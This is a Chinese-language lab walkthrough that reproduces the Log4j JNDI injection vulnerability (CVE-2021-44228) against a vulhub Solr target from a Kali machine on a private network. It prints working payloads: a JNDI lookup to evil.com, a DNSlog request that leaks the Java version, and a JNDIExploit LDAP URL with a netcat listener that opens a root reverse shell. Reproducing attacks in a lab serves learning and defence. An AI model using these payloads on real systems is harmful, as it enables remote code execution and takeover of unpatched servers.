前言
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。
参考链接:
准备工作
- 两台机器:kali攻击机(192.168.30.102)vulhub靶场(192.168.30.155)
- DNSlog平台
- JNDIExploit攻击注入辅助工具
漏洞复现
1、回显dns记录
在vulhub上开启对应版本的环境,没有环境请参考vulhub环境的搭建
cd vulhub/log4j/CVE-2021-44228/
#启动环境
docker-compose up -d
访问靶机http://192.168.30.155:8983/
poc攻击代码
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.<获取的dns域名>} HTTP/1.1
Host: 192.168.30.155:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
打开dnslog平台获取对应的子域名http://dnslog.cn/
不知道是不是我的使用方式有问题,通过burpsuite无法成功完成实验,尝试手动hackbar发包
打开hackbar,输入以下url地址
http://192.168.30.155:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.npdq4y.dnslog.cn}
回头查看dnslog平台即可查看相应的dns记录以及java版本号
2、使用工具-反弹shell创建/tmp/success
上传到kali
查看工具支持的LDAP格式
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
运行JNDIExploit工具
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.30.102
多开一个窗口进行监听
nc -lvvp 9999
在hackbar上运行如下代码
http://192.168.30.155:8983/solr/admin/cores?action=${jndi:ldap://192.168.30.102:1389/Basic/ReverseShell/192.168.30.102/9999}
kali-ldap服务器响应
成功获取shell,而且还是最高权限的root权限
创建/tmp/success
touch /tmp/success
ls /tmp/